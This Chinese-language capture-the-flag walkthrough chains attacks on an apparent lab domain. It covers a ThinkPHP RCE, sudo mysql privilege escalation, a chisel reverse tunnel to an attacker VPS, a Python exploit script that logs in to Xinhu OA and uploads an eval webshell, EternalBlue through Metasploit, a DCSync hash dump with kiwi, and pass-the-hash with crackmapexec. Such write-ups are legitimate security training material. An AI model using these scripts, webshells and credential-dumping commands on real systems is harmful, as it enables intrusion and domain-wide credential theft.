考点:
- thinkphp 5.0.23 RCE
- mysql命令提权
- 信呼nday
- ms17-010(永恒之蓝)
- DCSync
看环境是thinkphp,用集成攻击工具然后getshell:https://github.com/Lotus6/ThinkphpGUI
连上蚁剑终端发现权限比较低,先查看suid命令
find / -user root -perm -4000 -print 2> result.txt
或者用sudo -l
然后用mysql命令进行提权
sudo mysql -e '\! cat /root/flag/f*'
这台机器打完了继续打内网,先传个fscan,给执行权限然后扫描内网
下一步先打这个信呼,因为有nday能直接打,首先用chisel建立内网隧道方便本地进行内网资源访问,内网隧道那里讲过一遍了,这里再讲一遍吧
在vps上运行:(记得把这些用了的端口打开)
./chisel server -p 1234 --reverse
在这台已经getshell的机器上运行:
./chisel client vpsip:1234 R:0.0.0.0:9383:socks
然后连接vps:9383的socks5代理
最后即可在本地访问内网资源:
这里有nday,直接用了,但我们首先要在kali上也建立一下socks5访问,这样我们的脚本才能直接攻击内网服务器
vim /etc/proxychains4.conf
配置好后,先在脚本同目录放一个1.php
<?=eval($_POST[1]);?>
然后这个是脚本poc.py的内容:
import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
print(id)
print(filepath)
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)
然后运行
proxychains4 python3 poc.py
打印出来的就是写进去马的目录,访问目录确实可以rce
然后我们在蚁剑上配置一下代理,你不配的话蚁剑也是没法直接访问到内网那个资源的
然后连马拿flag
然后就是打内网的另一台服务器,扫出来有ms17-010的那台,最后一个flag估计就在这里,这个洞就是鼎鼎大名的永恒之蓝,玩内网不玩永恒之蓝就像玩开放世界不玩原神一样可笑。。。
因为msf上直接有,所以我们就用工具打当工具小子了(当然这里还是要用proxychains4配代理)
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit
打完获得一个正向连接的shell
拿到权限后可以用creds_all等命令收集内网凭据,而我们控制的这台机器是有DCSync的权限的(因为这个是DC1,也就是域控制器), 所以能直接从域控上导出Hash
DCSync攻击:
DCSync的原理是利用域控制器之间的数据同步复制
DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式DCSync 攻击前提:
想进行DCSync 攻击,必须获得以下任一用户的权限:
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户
即:默认情况下域管理员组具有该权限
这里我们用永恒之蓝打完本来就是system权限,然后我们load kiwi,抓取用户的hash
load kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
这里我们抓到了Administrator的hash,所以可以直接用crackmapexec打hash传递了
proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
完结撒花,最后完整的flag:
flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}
补充一下最后hash传递的知识,具体可以看内网横传之哈希传递(Pass The Hash):
Pass The Hash 即PTH,也是内网渗透中较未常见的一个术语,就是通过传递Windwos 本地账户或者域用户的hash值,达到控制其他服务器的目的
在进入企业内网之后,如果是Windows PC或者服务器较多的环境,极有可能会使用到hash传递来进行内网的横传,现在企业内部一般对于口令强度均有一定的要求,抓取到本地hash后可能无法进行破解,同时从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash.在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,这时可以通过传递hash来进行横传。
适用场景:内网中大量主机密码相同。
hash 传递的原理是在认证过程中,并不是直接使用用户的密码进行认证的,而是使用用户的hash值,因此,攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码。在Windows系统中,通常会使用NTLM身份认证,NTLM是口令加密后的hash值。PTH是基于smb服务(139端口和445 端口
总而言之,哈希传递是在没办法获取密码时可以进行横传的方法,在抓取哈希后我们可以通过LM和NTLM直接访问远程主机服务,因为他们的身份验证就是口令的hash值,被我们获取后即可为所欲为了
最后用时一小时出头打通,大概花了六七块(💰):
写的很好,支持一下师傅